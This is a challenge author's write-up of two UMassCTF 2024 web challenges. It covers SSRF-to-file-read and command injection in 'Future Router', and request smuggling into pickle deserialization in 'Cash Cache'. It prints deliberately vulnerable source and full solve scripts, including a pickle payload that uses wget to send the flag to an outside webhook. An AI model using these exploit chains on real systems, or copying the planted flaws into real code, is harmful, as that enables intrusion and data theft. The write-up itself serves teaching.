UMassCTF 2024

Overview

UMass CTF is always a fun (and also quite stressful) time of the year here at UMass. I've been a challenge author for the past two years and would say I have a bit of author experience now. With that said, I only contributed to two challs this year Future Router and Cash Cache.

Future Router

Future Router was the first challenge I wrote for the CTF, and it was the most solved one as well. By the end of the CTF it had 63 solves.
This was a sourceless challenge, which many CTF players may scoff at but I thought it would be a cool idea to have a challenge where an attacker leaks the source. With this in mind, I tried to guide players with several hints, comments, and information in the challenge so that they could get a rewarding solve (and learn a lot too).
The first thing players are greeted with is the welcome page with some text as well as a navbar. A player can click around the site and see the dashboard which shows which devices are on the network with the router, a cURL page to test cURL'ing webpages, as well as a customer service agent that claims it is out of service and tells us to try other other features. Most experienced web players will be initially drawn towards the cURL endpoint, however my intent is that new players will be guided there by response of the customer service agent.
So seeing the cURL most players would try to send a request to a remote site, for our case let's choose umasscybersec.org. However, it does not work because the server cannot make outbound connections. Players may not know this completely yet, but there is a message above hinting towards it that reads currently, you can only cURL the devices in the network . At this point, players might be reminded that the dashboard claims that there are "devices" on the network, all of which are open one port 80. So let's cURL on of those. Let's say patricks-rock.
We get HTML text in the response, but I put a comment here to try and prevent players from going down a rabbithole: <!-- This is a static web server, don't waste too much time here! -->. Essentially these sites existed as other docker containers in the network statically hosted HTML files. I put them in, not to confuse players, but to show that there are devices in the network that the router can reach even though the internet is not available. With this I expected players to research what types of SSRF attacks you can do on cURL. More specifically, I wanted players to find that they can try different URL schemes on cURL. Most players found that you can perform an LFI by reaching out to file:///etc/passwd.
My hope here is that most players would want to get the source code of the web app (I know I would!). Well, if we can read arbitrary files, then source would likely be readable as well. Since the server would be the current process running players would have to look in /proc/self to find useful files to leak more about the server process. First, players would need to find what command was running the server. For this we can run file:///proc/self/cmdline. This lets us see the command is running gunicorn with app:app. Hopefully at this point, players would look at the gunicorn documentation and find that the first app would refer to the module the app was running, in our case app.py.
Since players would now know the source file, they would have to figure out how to leak it by referencing its path through the LFI. The intended solution was for users to read /proc/self/cwd/app.py as cwd would point to the current working directory AKA where the command was ran from. However, when we ported to infra we reintroduced several unintended solutions that were patched locally such as reading /proc/self/environ to read the working directory or leaking all the working directories with the entrypoint found in /proc/1/cmdline. It's kind of unfortunate that these were introduced, however I did have access to testing this challenge remotely before the competition. I just did not remember to re-check for them again when testing it on remote. It brings up a good point for next year, the solve/healthcheck script provided by authors should also check for unintended solutions in the challenges. Then, make sure that this author check must pass before the challenge can be merged into the main branch of the repo. Enough of that however, at this point the player should finally get their first taste of code.
            
from flask import Flask, request, render_template, Blueprint,send_from_directory
from io import BytesIO
import pycurl

httpserver = Blueprint('httpserver', __name__)

#@httpserver.route("/docs",methods=["GET"])
#def docs():
#   return """
#    

Router Docs

# #

Websocket API

# # TODO: Document how to talk to # Karen's customer service module in ../karen/customerservice.py # Also figure out how to use supervisord better. #""" # # Securely CURL URLs, absolutely no bugs here! @httpserver.route("/static/") def static(path): return send_from_directory('static',path) @httpserver.route("/cURL",methods=["GET","POST"]) def curl(): if(request.method == "GET"): return render_template('curl.html') elif(request.method == "POST"): try: buffer = BytesIO() c = pycurl.Curl() c.setopt(c.URL, request.json['URL']) c.setopt(c.WRITEDATA, buffer) c.perform() c.close() DATA = buffer.getvalue() return {"success":DATA.decode('utf-8')} except Exception as e: return {"error":str(e.with_traceback(None))} @httpserver.route("/customerservice",methods=["GET"]) def customerservice(): return render_template('customerservice.html') NETWORK = [ {'hostname':'patricks_rock','ports':[{'service':'http','num':80}]}, {'hostname':'spongebobs_spatula','ports':[{'service':'http','num':80}]}, {'hostname':'squidwards_clarinet','ports':[{'service':'http','num':80}]}, ] @httpserver.route("/dash",methods=["GET"]) def dash(): return render_template('dashboard.html',network=NETWORK) @httpserver.route("/") def hello_world(): return render_template("index.html")
Similarly we are given another file path so we can then request file:///proc/self/cwd/karen/customerservice.py and leak the rest of the source code.
    
import asyncio, os, re
from websockets.server import serve

# Due to security concerns, I, Sheldon J. Plankton have ensured this module
# has no access to any internet service other than those that are
# trusted. This agent will trick Krabs into sending me the secret
# krabby patty formula which I will log into Karen's secret krabby patty
# secret formula file! First, I have to fix a few security bugs!
class KarenCustomerServiceAgent:
    SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
    Dialogue = {
        "Welcome":"Hello! Welcome to the Future Router service bot!",
        "Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
        "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
    }
    def handle_input(self,message):
        if ("hello" in message):
            return self.Dialogue["Welcome"]
        elif("krabby patty" in message):
            filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
            os.system(f'echo "{filtered_message}\n" >> /dev/null')
            return self.Dialogue["Secret formula"]
        elif("problem" in message):
            return self.Dialogue["Problem"]
        else:
            return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!"
    def xor_decrypt(self,ciphertext):
        plaintext = ""
        cipher_arr = bytearray(ciphertext)
        for i in range(0,len(cipher_arr)):
            plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
        return plaintext

KarenAgent = KarenCustomerServiceAgent()

async def respond(websocket):
    async for message in websocket:
        data = KarenAgent.xor_decrypt(message.encode('latin-1'))
        response = KarenAgent.handle_input(data)
        await websocket.send(response)

async def main():
    async with serve(respond, "0.0.0.0", 9000):
        await asyncio.Future()  # run forever

asyncio.run(main())
    
Well, looks like Plankton was planning on exfiltrating the secret krabby patty formula by echo'ing into a file. Unfortunately, he hasn't figured out how to mitigate command injections yet so he just has a simple regex. The comment at the top of the source code here is another hint for players that the container will have no outbound internet access, so they will have to exfiltrate commands some other way. Most players who got this far figured they could do some bash interpolation to run expressions inside the command. So as long as they xor'd their input they could run krabby patty $([cmd-here]). My intended solution had players run a command and write its output to a file like so: krabby patty $(ls / > /tmp/outfile). Players could then read this file with the LFI and see that the flag was in the root directory.
            
import requests as r
from websockets.sync.client import connect


class KarenCustomerServiceAgent:
    SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
    Dialogue = {
        "Welcome":"Hello! Welcome to the Future Router service bot!",
        "Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
        "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
    }
    def xor_decrypt(self,ciphertext):
        plaintext = ""
        cipher_arr = bytearray(ciphertext)
        for i in range(0,len(cipher_arr)):
            plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
        return plaintext

KarenAgent = KarenCustomerServiceAgent()

HOSTNAME = "localhost:3000"

print("Checking LFI... LFI works!")
r1 = r.post(f"http://{HOSTNAME}/cURL",headers={
    'Content-Type':'application/json'
},json={
    'URL':'file:///proc/self/cwd/blueprints/../karen/customerservice.py'
})


if "SECRET" in r1.text:
    print("Successfully, exploited LFI!")
else:
    print("LFI failed... Is the httpserver server working?")
    exit()

data = KarenAgent.xor_decrypt(b"krabby patty $(ls / > /tmp/randomfileout)")


with connect(f"ws://{HOSTNAME}/app/") as websocket:
    websocket.send(data)
    message = websocket.recv()
    if "Thank you" in message:
        print("Recieved valid response from websocket!")
    else:
        print("Websocket failed to send and/or recv. Is the socketserver down?")
        exit()


r1 = r.post(f"http://{HOSTNAME}/cURL",headers={
    'Content-Type':'application/json'
},json={
    'URL':'file:///tmp/randomfileout'
})


if "flag" in r1.text:
    print("Exfiltrated command via tmp sucessfully!")
    print(r1.json()['success'])
else:
    print("Command output is not in /tmp . The command did not execute or we were unable to write to /tmp.")
    exit()

r1 = r.post(f"http://{HOSTNAME}/cURL",headers={
    'Content-Type':'application/json'
},json={
    'URL':'file:///flag53958e73c5ba4a66'
})


print(f"Your flag should be {r1.json()['success']}")
                
            
        

Final Thoughts on Future Router

All in all, I hope this challenge was fun and rewarding for players even though there was no source. I wanted to make a chall with some vulnerabilities I haven't seen in other CTF's so the source code leak was the way I went. If you're interested in trying out the chall in its intended configuration, I've uploaded the code here.

Cash Cache

The second, and final, challenge I made was Cash Cache. For this challenge I wrote a buggy HTTP proxy that parsed requests incorrectly and allows users to perform HTTP request smuggling to the backend server. This implementation was very silly as you'll see throughout the challenge. The coverup for my bad coding ability was the theme of the challenge: Patrick wrote the cache for Mr. Krabs to make more money off customers who used the site. Theming aside, at the end of the CTF this challenge only had 11 solves, making it the least solved web challenge. With that said let's rev up those fryers and check out the challenge.
Before we dive into source, let's take a moment to admire the site... Ahhh, what a work of art. But despite my inability to frontend webdev properly, there is nothing wrong to see... yet.
The source is identical to what's running on infra because we ran this challenge separately from our main kCTF cluster. To make it easy, I gave users a docker-compose that built the entire challenge. In that docker-compose users would see a frontend, backend, and a redis cache. The frontend is our simple nginx proxy, the backend includes the cache and webserver, and the redis cache stores all the data from the cache. Here, I intended players to do some code review, specifically looking for interesting vectors. During the code review, I know most web players should be drawn to a certain part of the source.
            
if ("X-Cache-UID" in resp.headers and "X-Cache-Hit" not in resp.headers):
    resp.headers['X-Cache-Hit'] = "MISSED!"
    UID = resp.headers['X-Cache-UID']
if (REDIS_CLIENT.exists(UID)):
    cash_elem = pickle.loads(
        base64.b64decode(REDIS_CLIENT.get(UID)))
    cash_elem.spent += spent
    cash_elem.set_resp(request.route, resp)
    REDIS_CLIENT.set(UID, base64.b64encode(
        pickle.dumps(cash_elem)))
else:
    cash_elem = CashElement()
    cash_elem.spent += spent
    cash_elem.set_resp(request.route, resp)
    REDIS_CLIENT.set(UID, base64.b64encode(
        pickle.dumps(cash_elem)))
resp.headers['X-CashSpent'] = cash_elem.spent
resp.headers['X-CachedRoutes'] = len(cash_elem.resps)
            
        
People who have done web security or played web CTF challenges for a bit know about pickle. If you followed the hyperlink, you should be hit with a giant red warning.
Yeah, don't load pickle data that you don't trust. If you control pickle data, you can easily leverage remote code execution on a system. We can do this by picklng a class with a malicious __reduce__ function that will be called by pickle when it loads the object. However, there are plenty of blog posts about pickle vulnerabilities, for the sake of this challenge though we can assume that if we can control what gets passed into this call, then we can get RCE on the target. I got the idea of using pickle for serializing this cache data from real python implementations of caches. Specifically, the SerialFlow challenge from HackTheBox Cyber Apocalypse CTF 2024 introduced (and acquainted me more than I'd like) to a python memcached client that used pickle when setting or getting complex objects.
Of course Patrick (I), left a way for users to somehow control the data. In this case, the data for the pickle.loads call is first fetched from the redis cache, however in cash.py there (should) be no way to set an arbitrary pickle object into the cache. However, there is an interesting /debug endpoint in the backend express server.
            
app.post('/debug', async (req, res) => {
    const IPS = req.headers['x-forwarded-for']
        .split(',')
        .map(ip => ip.trim());
    // Developers will be forwarded from
    // the krusty krab proxy otherwise 
    // nginx will be the client ip
    const clientIP = IPS.pop();
    if (clientIP == '127.0.0.1') {
        console.log(req.body)
        const UID = req.body.uid ? req.body.uid : undefined;
        const DATA = req.body.data ? req.body.data : undefined;
        if (UID && DATA) {
            const uid_exists = await client.exists(UID);
            if (uid_exists) {
                await client.set(UID, DATA);
                return res.json({ 'success': `Set the entry for ${UID} to "${DATA}"` });
            }
        }
        return res.json({ 'error': `Expected valid uid and data but got ${UID} and ${DATA}` })
    }
    res.status(403).json({ 'error': 'This is only reachable from within the network!' });
})
            
        
So, if you hit the developer debug endpoint then you can set an element in the cache to your arbitrary data.At this point, I assumed most players realized they would need to send a request to the server as localhost to the /debug endpoint to then set a malicious pickle value in the cache, then send a request to trigger this payload to load. However, that is easier said than done (granted I did not leave any unintended solutions). I imagine that after a few naive attempts at sending requests with the X-Forwarded-For header set, users would realize they would have to perform a HTTP Request Smuggling attack to set their own header and hit the endpoint in their smuggled request.
Now that I've tasked the player with the unfortunate task of reading my python code, they should find that the proxy has the ability to send multiple requests at once. Reading the source code below, there is a strange encoding that the site accepts called Cash-Encoding and it wants it in Money! mode.
            
def parseHTTPReq(text):
    try:
        Requests = []
        stream_text = text.decode()
        spent = 0
        while (stream_text):
            cur, _, stream_text = stream_text.partition("\r\n")
            method, route, version = cur.split(' ')
            Headers = {}
            while (True):
                cur, _, stream_text = stream_text.partition("\r\n")
                if (cur == ''):
                    break
                key, _, val = cur.partition(':')
                Headers[key] = val.replace(' ', '')
            if ("Cash-Encoding" in Headers and Headers["Cash-Encoding"] == "Money!"):
                body, stream_text, spent = parseCash(stream_text)
            else:
                body = stream_text
                stream_text = ""
            Headers['Content-Length'] = len(body)
            req = HTTPReq(method, route, version, Headers, body)
            Requests.append(req)
        return Requests, spent
    except Exception as e:
        log(e)
        return None, None
            
        
In most cases, after parsing the headers the cache will set the rest of the request to the body. However, Cash-Encoding will cause the body to be parsed differently as it will pass the text of the "stream" we're parsing to the parseCash function.
            
# The CASH a customer must spend before they can make a new request
# HTTP requests don't grow on trees!
MINIMUM_CASH = 10000000.0

def parseCash(stream_text):
    spent = 0
    body = ""
    while (spent < MINIMUM_CASH):
        cur, _, stream_text = stream_text.partition("\r\n")
        amount, units = cur.split(' ')
        if (units == "DOLLARS"):
            amount = float(amount)
        elif (units == "CENTS"):
            amount = float(amount)/100
        else:
            raise Exception("I can't understand the units!")
        # Dear Reader,
        #   I wrote this Ternary Operator today because I learned it
        #   in boating school. For some reason it sometimes cuts off
        #   the end of requests. But it probably is not a big deal.
        # From,
        # Patrick Star
        index = round(amount) if amount <= len(
            stream_text) else len(stream_text) - len(cur)
        cur = stream_text[:index]
        stream_text = stream_text[index:]
        if (len(cur) < amount or amount < 0):
            raise Exception("Are you trying to steal from me?")
        spent += amount
        body += cur
    return body, stream_text, spent
                
            
        
As we all know, Mr. Krabs is a very generous businessman and he has allowed users to send multiple HTTP requests ONLY if they spend ten million dollars. As you might notice, Cash-Encoding bears a resemblance to Transfer-Encoding. People should see that they need to perform a Content-Length.Cash-Encoding (CL.CE) attack, which should be very similar to CL.TE attacks. However, the number of characters you use is linked to dollars you spend, which is a float rather than an int. Mr. Krabs expected 10 million dollars. However, you can never actually spend the money in a single request because the default nginx policy for request body sizes is limited to 1 megabyte. So we cannot simply send one big request. You can't send negative dollars due to some checks at the bottom of the loop. However, if we send NaN DOLLARS as our amount it will cause every single check that compares amount to become false due to how NaN works in python. Before, if you send a request with Cash-Encoding, the server would complain about it being badly formed. However, when you spend NaN dollars it passes and updates Cash Spent.
At this point, if you try to naively smuggle a request then Mr. Krabs will yell at you for a badly formed request. Why? Because the body is buffered depending on how the index is set in the ternary above. However Patrick left an interesting note in the source code:
I wrote this Ternary Operator today because I learned it in boating school. For some reason it sometimes cuts off the end of requests. But it probably is not a big deal.
Well, part of the request gets cut off... And upon furthuer inspection it makes sense, specifcally the index should be set to len(stream_text) - 1 if the amount is larger than the remaining length however it is set to len(stream_text) - len(cur). In most cases this would be around ~15 characters however an attacker can be very clever here. We cannot simply add spaces to our request because the parser expects the value and units to be exactly one space apart. At this point, I wanted users to explore how float parses user strings. Many that solved the challenge found that if you include whitespace characters like "\r" or "\t" you could arbitrarily increase the size of the current line while still preserving how float interprets NaN. With this, users could make their current line exactly as long as their smuggled request to allow the parser to set the body of the first request to 0 and parse the next request normally.
After you get this, it should not take too much more to write a weaponized exploit using a malicious pickle, base64 encoding it, then sending a smuggled request to see your current uid to that data. Then you simply visit the site and your pickle will load. I've included my solve script below:
            
import pickle
import base64
import socket
import requests as r

WEBHOOK = ""


class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system, ("wget "+WEBHOOK+"?c=$(cat${IFS}/flag.txt|base64${IFS}-w0)",))


data = base64.b64encode(pickle.dumps(PickleRCE()))

HOSTNAME = "cash-cache.ctf.umasscybersec.org"
PORT = 80

r1 = r.get(f"http://{HOSTNAME}:{PORT}")
UID = r1.cookies['uid']

sock = sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((HOSTNAME, PORT))

SMUGGLED_REQ = f"""POST /debug HTTP/1.1\r\nHost: localhost\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 190\r\nConnection:close\r\n\r\nuid={UID}&data={data.decode()}"""

LEN_OF_REQ = len(SMUGGLED_REQ.encode())

print(LEN_OF_REQ)
HTTP_REQ = f"""GET /test2 HTTP/1.1\r\nHost: {HOSTNAME}:{PORT}\r\nCash-Encoding: Money!\r\nContent-Length: {2+2*LEN_OF_REQ}\r\n\r\nnan{chr(9)*(LEN_OF_REQ-11)} DOLLARS\r\n{SMUGGLED_REQ}"""

sock.send(HTTP_REQ.encode())

resp = sock.recv(4096)
print(resp)

r1 = r.get(f"http://{HOSTNAME}:{PORT}", headers={
    'Cookie': f'uid={UID}'
})

print(r1.text)

print("CHECK YOUR WEBHOOK!")
            
        

Final Thoughts on Cash Cache

This challenge was a lot, and definitely difficult. However, my main goal was to have people think about how request smuggling works at the protocol level, how to weaponize it with some clever tricks, then actively exploiting it via the serialization vector in the cache. I'm hoping people learned something and had fun with this challenge as I definitely had (mostly) fun writing it as well!

Thanks for reading! Hope you enjoyed UMass CTF 2024!